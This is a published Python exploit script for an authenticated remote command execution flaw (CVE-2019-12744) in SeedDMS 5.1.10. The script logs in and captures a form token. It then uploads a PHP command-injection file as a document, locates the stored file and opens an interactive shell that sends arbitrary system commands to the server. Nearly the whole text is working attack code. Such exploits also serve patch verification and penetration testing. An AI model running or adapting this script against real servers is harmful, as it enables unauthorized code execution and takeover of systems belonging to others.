# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) # Date: 25/06/2021 # Exploit Author: Bryan Leong # Vendor Homepage: https://www.seeddms.org/index.php?id=2 # Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/ # Version: Seeddms 5.1.10 # Tested on: Windows 7 x64 # CVE: CVE-2019-12744 import requests import argparse import sys import random import string from bs4 import BeautifulSoup from requests_toolbelt import MultipartEncoder def sysArgument(): ap = argparse.ArgumentParser() ap.add_argument("-u", "--username", required=True, help="login username") ap.add_argument("-p", "--password", required=True, help="login password") ap.add_argument("--url", required=True, help="target URL Path") args = vars(ap.parse_args()) return args['username'], args['password'], args['url'] def login(sessionObj, username, password, url): loginPath = "/op/op.Login.php" url += loginPath postData = { 'login': username, 'pwd': password, 'lang' : 'en_GB' } try: rsl = sessionObj.post(url, data=postData) if(rsl.status_code == 200): if "Error signing in. User ID or password incorrect." in rsl.text: print("[!] Incorrect Credential.") else: print("[*] Login Successful.") print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session']) return sessionObj else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj def formTokenCapturing(sessionObj, url): path = "/out/out.AddDocument.php?folderid=1&showtree=1" url += path formToken = "" try: rsl = sessionObj.get(url) if(rsl.status_code == 200): print("[*] Captured Form Token.") #extracting form token soup = BeautifulSoup(rsl.text,'html.parser') form1 = soup.findAll("form", {"id": "form1"}) soup = BeautifulSoup(str(form1[0]),'html.parser') formToken = soup.find("input", {"name": "formtoken"}) print("[*] Form Token: " + formToken.attrs['value']) return sessionObj, formToken.attrs['value'] else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj, formToken def uploadingPHP(sessionObj, url, formToken): path = "/op/op.AddDocument.php" url += path #generating random name letters = string.ascii_lowercase rand_name = ''.join(random.choice(letters) for i in range(20)) #POST Data payload = { 'formtoken' : formToken, 'folderid' : '1', 'showtree' : '1', 'name' : rand_name, 'comment' : '', 'keywords' : '', 'sequence' : '2', 'presetexpdate' : 'never', 'expdate' : '', 'ownerid' : '1', 'reqversion' : '1', 'userfile[]' : ( '%s.php' % (rand_name), open('phpCmdInjection.php', 'rb'), 'application/x-httpd-php' ), 'version_comment' : '' } multiPartEncodedData = MultipartEncoder(payload) try: rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type}) if(rsl.status_code == 200): print("[*] Command Injection PHP Code Uploaded.") print("[*] Name in Document Content Shows: " + rand_name) return sessionObj, rand_name else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj, rand_name def getDocID(sessionObj, url, docName): path = "/out/out.ViewFolder.php?folderid=1" url += path try: rsl = sessionObj.get(url) if(rsl.status_code == 200): #searching & extracting document id storing payload soup = BeautifulSoup(rsl.text,'html.parser') viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"}) soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser') rowsDoc = soup.findAll("tr", {"class": "table-row-document"}) for i in range(len(rowsDoc)): soup = BeautifulSoup(str(rowsDoc[i]),'html.parser') tdExtracted = soup.findAll("td") foundDocName = tdExtracted[1].contents[0].contents[0] #when document name matched uploaded document name if(foundDocName == docName): print("[*] Found Payload Document Name. Extracting Document ID...") tmp = tdExtracted[1].contents[0].attrs['href'].split('?') docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '') print("[*] Document ID: " + docID) return sessionObj, docID #after loops & still unable to find matched uploaded Document Name print("[!] Unable to find document ID.") sys.exit(0) else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj def shell(sessionObj, url, docID): #remove the directory /seeddms-5.1.x splitUrl = url.split('/') remLastDir = splitUrl[:-1] url = "" #recontruct url for text in remLastDir: url += text + "/" #path storing uploaded php code path = "/data/1048576/%s/1.php" % docID url += path #checking does the uploaded php exists? rsl = sessionObj.get(url) if(rsl.status_code == 200): print("[*] PHP Script Exist!") print("[*] Injecting some shell command.") #1st test injecting whoami command data = { 'cmd' : 'whoami' } rsl = sessionObj.post(url, data=data) if(rsl.text != ""): print("[*] There's response from the PHP script!") print('[*] System Current User: ' + rsl.text.replace("
", "").replace("
", "")) print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n") #start shell iteration while(True): cmd = input("[Seeddms Shell]$ ") if(cmd == ".exit"): print("[*] Exiting shell.") sys.exit(0) data = { 'cmd' : cmd } rsl = sessionObj.post(url, data=data) print(rsl.text.replace("
", "").replace("
", "")) else: print("[!] No response from PHP script. Something went wrong.") sys.exit(0) else: print("[!] PHP Script Not Found!!") print(rsl.status_code) sys.exit(0) def main(): username, password, url = sysArgument() sessionObj = requests.Session() #getting session token from logging in sessionObj = login(sessionObj, username, password, url) #capturing form token for adding document sessionObj, formToken = formTokenCapturing(sessionObj, url) #uploading php code for system command injection sessionObj, docName = uploadingPHP(sessionObj, url, formToken) #getting document id sessionObj, docID = getDocID(sessionObj, url, docName) #spawning shell to exec system Command shell(sessionObj, url, docID) if __name__ == "__main__": main()